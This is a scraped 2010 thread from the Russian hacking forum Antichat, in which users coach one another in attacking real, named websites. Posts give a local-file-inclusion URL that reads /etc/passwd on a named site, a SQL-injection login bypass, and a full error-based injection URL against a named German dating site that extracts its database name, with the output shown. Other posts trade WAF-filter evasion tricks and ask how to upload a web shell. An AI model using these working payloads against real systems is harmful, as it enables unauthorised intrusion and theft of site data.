Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
23.04.2010, 14:58
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от stasiliy
Подскажите.. разбираюсь щас с пхп-инъекц..
нашел сайт, там присутствует локальный инклюд, внешнего нету, что я могу зделать???
могу ли чтото добыть интересное или залить шелл какимто образом??
сайт: http://www.sidi-kaouki.com/new/index.php?f=../../../../../../../etc/passwd
попробуй найти путь к скриптам и инклудить скрипты
|
|
|
23.04.2010, 15:34
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Сообщение от stasiliy
Подскажите.. разбираюсь щас с пхп-инъекц..
нашел сайт, там присутствует локальный инклюд, внешнего нету, что я могу зделать???
могу ли чтото добыть интересное или залить шелл какимто образом??
сайт: http://www.sidi-kaouki.com/new/index.php?f=../../../../../../../etc/passwd
login admin' or 1=1/*
пасс любой.
Последний раз редактировалось Strilo4ka; 24.04.2010 в 03:21..
|
|
|
|
23.04.2010, 15:49
|
|
Новичок
Регистрация: 26.09.2009
Сообщений: 22
Провел на форуме:
44954
Репутация:
0
|
|
крута))) спс
|
|
|
|
23.04.2010, 16:01
|
|
Участник форума
Регистрация: 29.11.2007
Сообщений: 116
Провел на форуме:
283596
Репутация:
88
|
|
Ctacok
Это мне было адресовано? это в смысле там одна колонка будет? просто как не составлял запрос, ничего не выходит, подобрать колонки не удается 
Чтоб было понятнее:
Пост запрос http://www.flirt-hunter.de/dating/kontaktanzeigen.php?fill=1&profilstep=0&country=1& sex=112'&altervon=18&alterbis=99&plzahl=1&Submit=S uchen
Уязвимость по идее в sex.
|
|
|
|
23.04.2010, 16:05
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от AKYLA
Ctacok
Это мне было адресовано? это в смысле там одна колонка будет? просто как не составлял запрос, ничего не выходит, подобрать колонки не удается
Чтоб было понятнее:
Уязвимость по идее в sex.
Тогда так
http://www.flirt-hunter.de/dating/kontaktanzeigen.php?fill=1&profilstep=0&country=1& sex=-1+or%281,1%29=%28select+count%280%29,concat%28%28s elect+database%28%29+from+information_schema.table s+limit+0,1%29,floor%28rand%280%29*2%29%29from%28i nformation_schema.tables%29group+by+2%29--++&altervon=18&alterbis=99&plzahl=1&Submit=Suchen
Duplicate entry ' inlove241' for key 1
database=inlove24
|
|
|
|
23.04.2010, 18:47
|
|
Познающий
Регистрация: 17.04.2010
Сообщений: 75
Провел на форуме:
691279
Репутация:
55
|
|
del
Последний раз редактировалось ~d0s~; 10.05.2010 в 04:56..
|
|
|
|
24.04.2010, 00:53
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
как можно обойти фильтрацию на select?? замучался уже стоит WAF
|
|
|
|
24.04.2010, 00:58
|
|
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418
Репутация:
386
|
|
как можно обойти фильтрацию на select?? замучался уже стоит WAF
может быть чето вроде +union+/*!select*/+1 а может и нет, вообще бессмыслено что то думать без ссылки.
--------------------
заливал кто шел через webasyst ? какие методы есть ?
Последний раз редактировалось warlok; 24.04.2010 в 02:29..
|
|
|
|
24.04.2010, 01:01
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530
Репутация:
54
|
|
редиректит на гугль
пробовал
/* */
/*! */
/*!12345 */
не катит....
|
|
|
|
24.04.2010, 01:08
|
|
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388
Репутация:
87
|
|
Сообщение от pinch
редиректит на гугль
пробовал
/* */
/*! */
/*!12345 */
не катит....
('...'+'...') так?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [Feldmarschall]](/avatars/avatar109813.gif){kind=avatar}
Похожие темы
Линейный вид
